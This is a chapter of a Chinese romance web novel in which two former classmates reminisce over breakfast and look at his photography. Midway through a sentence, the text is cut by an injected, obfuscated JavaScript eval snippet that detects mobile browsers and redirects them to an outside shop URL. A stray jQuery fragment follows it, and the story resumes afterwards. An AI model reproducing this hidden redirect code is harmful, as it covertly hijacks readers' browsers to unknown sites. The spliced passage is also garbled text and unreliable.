也不怪蔺沐雨一惊一乍,在她的认知里,已经认定了孟和颂就是南城本地人,但回想起来,上次孟和颂只是说他在南城生活了十多年,她却先入为主认为他是本地人。
孟和颂笑笑,招呼她去餐桌边吃早饭,“怎么?很惊讶?”
说着用榕城方言问了一句,“我看起来不像榕城人吗?”
蔺沐雨摇摇头,“也不是不像,我本来一直以为你就是本地人。”
毕竟他在南城有房产,并且南城话也说得那么流利。
孟和颂把剥好的一个水煮蛋递到她手边,解释道,“我是在榕城出生的,后来四五岁的时候和我爷爷奶奶来了南城,初中的时候才回到榕城,所以上次我说我在南城生活了十来年。”
蔺沐雨接过鸡蛋,咬了一口,煮的火候刚刚好,不会太老也不至于过生,突然想到些什么,仰起头看向孟和颂一脸好奇,“那你初中高中是在哪里读的?”
榕城就那么几所中学,说不定他们还可能曾经是校友?
“我初中是插班,所以读的私立中学,高中的话,”他顿了顿,看着蔺沐雨,若有所思,“榕城二中。”
如他所料般,蔺沐雨眼睛瞪大了一些,掩盖不住的震惊与喜悦,“我们是校友诶,我也是榕城二中的,之前我不是说我复读了一年吗?算起来我们是同一届的。”
人生四大喜事,久旱逢甘霖、他乡遇故知、金榜题名时、洞房花烛夜。
但如今交通便利,他乡遇故知的喜悦在其余三者的对比下显得不值一提。
但此时此刻的蔺沐雨却由衷高兴,她和他竟然真的是同一届的校友!
“你是哪个班的?”
孟和颂看着她抑制不住的好奇欲,被她的笑容感染也跟着笑,“清北班。”
“我是三班的,你知道吗,我们两个班级在同一层楼,这么近的距离以前竟然没见过。”说着语气中多了些遗憾和失落。
孟和颂听出她的惋惜,心里面被一种怅然若失感笼罩,他没有想到,有一天能和她面对面说起那段岁月,而她会因为没有早一些认识而叹惋。
可是,哪里是没有见过呢?
只是她不记得罢了。
高中的三年里,他曾在她身边路过无数次,每一次他的目光都曾在她身上停留,只是她眼里有另外一个人,而他的名字,也从来没在她的记忆中留下痕迹。
尽管他次次考试都稳占第一,上过无数次光荣榜,但她却一次都没有看见他。
咖啡的苦涩在口中晕染开,孟和颂又有了些喝中药的感觉。
和他第一次尝试喝热美式时同样的感觉。
他以前从不喝热美式,甚至不喜欢喝咖啡。
那是去年七月,他拒绝了北城公司的offer,和父亲大吵了一架,来到南城和邬恒创业。
这是他时隔半年再回南城,上一次回来是处理奶奶的遗物,这一次是准备追求自己的热爱。
他知道蔺沐雨在南城大学读本科,但他过往回南城从未到过南城大学周围,近乡情怯,越是放不下,确实克制。
可这一次,他坚定地选择了这处离南城大学仅两条街距离的房产作为工作室,有多少私心,他自己或许都不清楚。
那天是个雨天,南城在七月份依旧有很多下雨天,他和邬恒给新招的店员开会,他请客给员工买咖啡,偶然走进了那家咖啡店。
就是醇°。
正巧碰到蔺沐雨和付爽从一旁的取餐台上取走咖啡。
擦身而过时听到付爽吐槽蔺沐雨,“谁有你喜好独特啊?喝热美式,这玩意儿和中药有什么区别?”
那时候她比现在瘦,不服地撇撇嘴,反驳付爽,“我就喜欢怎么了?再说世界上这么多人,总有和我一样喜好的!”
她目不斜视地走过,她的目光和过去许多次一样,从未在他身上停留。
他鬼使神差一般,“我要一杯热美式。”
店员下意识看了眼远去的那两人,有些茫然地点了头。
热美式很苦,也很像中药。
时间久了,却能从中品出一丝回甘。
他和她,又多了一个共同喜好。
蔺沐雨还沉浸在和他是校友的喜悦中,“我高中时有个朋友也在南大读书,不知道你知不知道他。”
其实想问的是,他高中时有没有听过自己的名字,还出口之前多了些自知之明,就她那一百名开外的名次,怎么会被学神看到?
“是吗?”孟和颂眯了眯眼,“你说说看?”
“苏景明。”
“噢,我知道他,之前和他一起参加过竞赛。”
他还有苏景明的联系方式。
得到肯定答复的蔺沐雨显然更加兴奋,彻底打开了话匣子,“我们班后面分班的时候也有人去了你们清北班呢,叫......”
被孟和颂接上,“刘玉山和邹游。”
“对!”蔺沐雨有些高兴,就好像通过中间人,和他多了几分联系,哪怕那时候的他们并不相识,可通过这些共同的同学,似乎就有了联系的契机。
“我们那一届的年级主任是你们班主任吧,他真的好凶!”
说着蔺沐雨掐着嗓子,“都闭嘴,整层楼就你们三班最吵,哪里有点实验班的样子。”
许是她学得有些传神,孟和颂笑着道:“对啊,所以我们班的同学还挺羡慕你们的,何老师人很好!”
“对,老何人超级随和!”
两人絮絮叨叨地说了许多榕城二中的事,从那一年的军训,说到毕业那年的高考,一顿早餐足足吃了一个小时。
孟和颂收拾好餐具,打开电脑让蔺沐雨自己看之前拍的宣传片,自己去厨房洗碗。
就听到书桌旁的蔺沐雨一声高过一声的感叹,“很好看。”
“孟和颂,你太厉害了!”
“我以前一点都不喜欢拍照,但是看到你拍的照片,我突然能理解那些喜欢照相的人了!”
她瞬间释怀了,原来不喜欢拍照,不是因为自己不上相,总拍出来丑图,一切都是因为没有遇到厉害的摄影师。
孟和颂擅长对光影的把控,每一张都极具氛围感,就算她不算自然的表情,也被处理得恰到好处。
只是这个摄影风格,总让她觉得有些熟悉。
不只是因为之前他给他们学院拍过毕业照,所以觉得熟悉,她隐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837217|211490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
约觉得,以前看过他的其他作品。
但她一向对艺术方面缺乏造诣,别说欣赏摄影作品,就连她自己手机相册里的照片也尽是数据和论文的图片,其他照片少的可怜。
看得出什么摄影风格?
应该只是错觉。
她继续看照片,搞不懂为什么一样都是五个手指的手,自己却拍不出好看的图?
“孟和颂,你的手和我的不一样吗?”
孟和颂“嗯?”了一声,甩干手上的水滴,走到她身旁。
见她伸出右手来回看,也伸出右手,虚虚地贴在她的掌背,若即若离,左手顺势撑在她的椅背上。
蔺沐雨感受到他温热的气息,一点点喷洒在自己裸露的肩头,绒毛扫过一般的酥痒,手背的温度忽隐忽现,她低头不敢看他的脸,只能盯着她骨节分明的手。
修长白皙,每一根手指的指甲都修剪得整齐干净,看上去很好牵,看上去很有力。
孟和颂却恍若未觉地笑,“大概我的手更大一些。”话说得坦荡,倒真像单纯在比手的大小。
蔺沐雨咬了咬唇,“孟和颂,你帮苏醇拍宣传片了吗?”
“怎么这么问?”
“我看见了醇°的宣传片。”
“你之前不是说不接吗?”
孟和颂半晌没回答,盯着她的侧脸,蓦地笑了,“没帮她,给介绍的其他人。”
“现在高兴了吗?”
蔺沐雨像被踩了尾巴的小猫,“关我什么事?”
“不懂你在说什么。”
孟和颂也不拆穿,笑而不语。
“孟和颂,你喜欢吃榕城菜吗?”
“还行。”
蔺沐雨在南城很少能吃到比较正宗的榕城口味,因为榕城偏好甜口,受众不是很广,在南城开的饭馆也总是会根据地域调整菜品的口味。
她曾经带付爽和徐风去吃过一家她认为还算正宗的榕城饭馆,但也就那一次,没有第二次了,因为他们两个都不太吃得惯榕城菜。
一听他这话,兴致勃勃道:“那我请你吃榕城菜吧,我知道有一家比较正宗的。”
“算是感谢你把我拍得这么好看!”
“那不敢当,你本来就好看。”
蔺沐雨暗自红了脸,转移话题,“要不要现在就过去,去晚了得排号。”
两人一起下楼,蔺沐雨看到邬恒,有些不确定地问孟和颂,“要不要叫你同事他们一起啊?”
毕竟在人家店里面,就他们俩去吃饭似乎不太好?
孟和颂暗地里叹了口气,皱眉看了眼邬恒,“你要和我们一起去吃饭吗?”
“吃榕城菜,不过你好像不太喜欢甜口的?”
“你的片子好像没修完。”
“要不算了吧。”
邬恒没忍住翻了个白眼,这兄弟,能把不情愿表现得再明显一点吗?
摆了摆手,讪讪道:“不了不了,我不爱吃!”
等到两人走远,刚刚那个男生才凑到邬恒旁边,“恒哥,那是孟哥朋友?”
邬恒“啧”一声,打量着两人的背影,“谁知道呢?”
“没准是未来老板娘?”